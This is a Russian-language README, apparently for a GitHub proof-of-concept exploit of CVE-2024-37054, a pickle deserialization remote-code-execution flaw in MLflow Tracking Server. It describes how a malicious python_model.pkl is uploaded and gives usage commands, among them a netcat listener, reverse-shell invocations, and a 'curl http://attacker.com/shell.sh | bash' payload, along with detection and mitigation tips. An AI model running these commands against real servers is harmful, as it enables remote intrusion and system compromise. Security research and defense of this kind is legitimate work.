
Эксплойт доказательства концепции для CVE-2024-37054, RCE на основе десериализации pickle в MLflow Tracking Server. Автоматизирует перезапись артефактов и доставку полезной нагрузки для аутентифицированного удаленного выполнения кода.
Эксплойт доказательства концепции для критической уязвимости десериализации pickle в MLflow Tracking Server, позволяющий аутентифицированное удаленное выполнение кода.
⚠️ Только для образовательного и авторизованного тестирования безопасности. Не используйте против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.
| Поле | Значение |
|---|---|
| CVE ID | CVE-2024-37054 |
| CVSS Score | 8.8 (ВЫСОКИЙ) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Affected Versions | MLflow < 2.14.3 |
| Patched Version | MLflow ≥ 2.14.3 |
| Vulnerability Type | CWE-502: Deserialization of Untrusted Data |
| Attack Vector | Сетевой |
| Privileges Required | Низкие (действительные учетные данные) |
| User Interaction | Нет |
MLflow Tracking Server десериализует артефакты моделей через модуль Python pickle при загрузке моделей для инференса. Аутентифицированный злоумышленник может перезаписать артефакт python_model.pkl в репозитории артефактов MLflow вредоносной pickle-нагрузкой. Когда модель впоследствии загружается (например, во время запроса на предсказание), нагрузка десериализуется, выполняя произвольный код на сервере.
Необходимые условия для эксплуатации:
Успешная эксплуатация приводит к удаленному выполнению кода на уровне привилегий процесса сервера MLflow, что может привести к полной компрометации системы, краже данных, боковому перемещению или получению постоянного доступа.
python_model.pkl заменяется специально сформированной pickle-нагрузкой через PUT /api/2.0/mlflow-artifacts/artifacts/....pickle.load() для скомпрометированного артефакта.__reduce__ pickle вызывает os.system(), выполняя команду атакующего.Нагрузка использует os.system() (встроенный C) вместо cloudpickle для максимальной совместимости между версиями и избежания проблем с байткодом, специфичным для версий Python.
Требования: Python 3.7+, requests
git clone https://github.com/ben-slates/CVE-2024-37054
cd CVE-2024-37054
# Запустите слушатель
nc -lvnp 4444
# Запустите эксплойт
python3 poc.py <TARGET_URL> <MLFLOW_URL> <LHOST> <LPORT>
# Учетные данные по умолчанию, базовый reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444
# Пользовательские учетные данные MLflow
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--mlflow-creds admin:MySecretPass123
# Вход в приложение + учетные данные MLflow
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--mlflow-creds admin:password \
--app-username admin \
--app-password admin123
# Пользовательская команда вместо reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--cmd "curl http://attacker.com/shell.sh | bash"
# Нацеливание на конкретный эксперимент, увеличение задержки для медленных серверов
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--experiment-id 1 --delay 5
# Подробный вывод
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 -v
PUT-запросы к конечным точкам /api/2.0/mlflow-artifacts/artifacts/python_model.pklPOST /api/2.0/mlflow/runs/search сразу после изменений артефактовos.system() из процессов MLflow# Изменение артефакта в журналах доступа
grep "PUT.*python_model.pkl" /var/log/mlflow/access.log
# Мониторинг целостности файлов
auditctl -w /opt/mlflow/artifacts/ -p wa -k mlflow_artifacts
Немедленно:
Долгосрочно:
Этот инструмент предназначен исключительно для:
Не используйте этот инструмент на любой системе, которой вы не владеете или на тестирование которой у вас нет явного письменного разрешения. Автор не несет ответственности за неправильное использование.
MIT — см. LICENSE для получения подробной информации.
| Аргумент | Описание |
|---|
target | URL целевого приложения |
mlflow | URL MLflow Tracking Server |
lhost | Хост атакующего для обратного вызова reverse shell |
lport | Порт атакующего для обратного вызова reverse shell |
--mlflow-creds USER:PASS | Учетные данные MLflow (по умолчанию: admin:password) |
--app-username | Имя пользователя для входа в приложение |
--app-password | Пароль для входа в приложение |
--app-login-url | Путь к конечной точке входа |
--upload-url | Путь к конечной точке загрузки |
--predict-url | Путь к конечной точке предсказания |
--experiment-id ID | Нацеливание на конкретный ID эксперимента |
--delay SECONDS | Задержка между шагами (по умолчанию: 2 с) |
--cmd COMMAND | Пользовательская команда для выполнения |
--verbose / --quiet | Управление подробностью вывода |
--no-color | Отключить цветной вывод |